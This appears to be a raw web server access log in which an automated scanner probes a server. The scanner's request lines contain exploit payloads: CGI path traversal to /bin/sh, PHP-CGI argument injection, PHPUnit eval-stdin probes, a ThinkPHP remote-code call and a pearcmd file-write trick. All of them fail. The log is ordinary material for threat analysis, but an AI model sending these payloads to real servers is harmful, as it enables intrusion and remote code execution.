::1 - - [21/Oct/2026:23:30:05 +0800] "GET / HTTP/1.1" 302 346 "-" "curl/8.5.0" "-"
::1 - - [21/Oct/2026:23:30:05 +0800] "HEAD / HTTP/1.1" 302 0 "-" "curl/8.5.0" "-"
45.43.36.172 - - [21/Oct/2026:23:33:01 +0800] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 150 "-" "-" "-"
45.43.36.172 - - [21/Oct/2026:23:33:01 +0800] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 400 150 "-" "-" "-"
45.43.36.172 - - [21/Oct/2026:23:33:02 +0800] "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:03 +0800] "POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 405 1023 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:03 +0800] "POST /index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 405 1023 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:04 +0800] "POST /test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:04 +0800] "POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1" 405 1023 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:05 +0800] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:05 +0800] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:05 +0800] "GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:06 +0800] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:06 +0800] "GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:07 +0800] "GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:07 +0800] "GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:08 +0800] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:08 +0800] "GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:09 +0800] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:09 +0800] "GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:10 +0800] "GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:10 +0800] "GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:11 +0800] "GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:11 +0800] "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:11 +0800] "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:12 +0800] "GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:12 +0800] "GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:13 +0800] "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:13 +0800] "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:14 +0800] "GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:14 +0800] "GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:15 +0800] "GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:15 +0800] "GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:16 +0800] "GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:16 +0800] "GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:17 +0800] "GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:17 +0800] "GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:18 +0800] "GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:18 +0800] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:18 +0800] "GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:19 +0800] "GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:19 +0800] "GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:20 +0800] "GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:20 +0800] "GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:21 +0800] "GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:22 +0800] "GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:22 +0800] "GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 302 402 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:23 +0800] "GET /public/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:23 +0800] "GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\x22hi\x22));?>+/tmp/index1.php HTTP/1.1" 302 402 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:24 +0800] "GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1" 302 402 "-" "libredtail-http" "-"
45.43.36.172 - - [21/Oct/2026:23:33:24 +0800] "GET /containers/json HTTP/1.1" 404 6599 "-" "libredtail-http" "-"
43.130.116.87 - - [21/Oct/2026:23:33:36 +0800] "GET / HTTP/1.1" 302 362 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" "-"
43.130.116.87 - - [21/Oct/2026:23:33:37 +0800] "GET /login HTTP/1.1" 200 2139 "http://140.111.67.69:80" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" "-"
::1 - - [21/Oct/2026:23:35:06 +0800] "GET / HTTP/1.1" 302 346 "-" "curl/8.5.0" "-"
::1 - - [21/Oct/2026:23:35:06 +0800] "HEAD / HTTP/1.1" 302 0 "-" "curl/8.5.0" "-"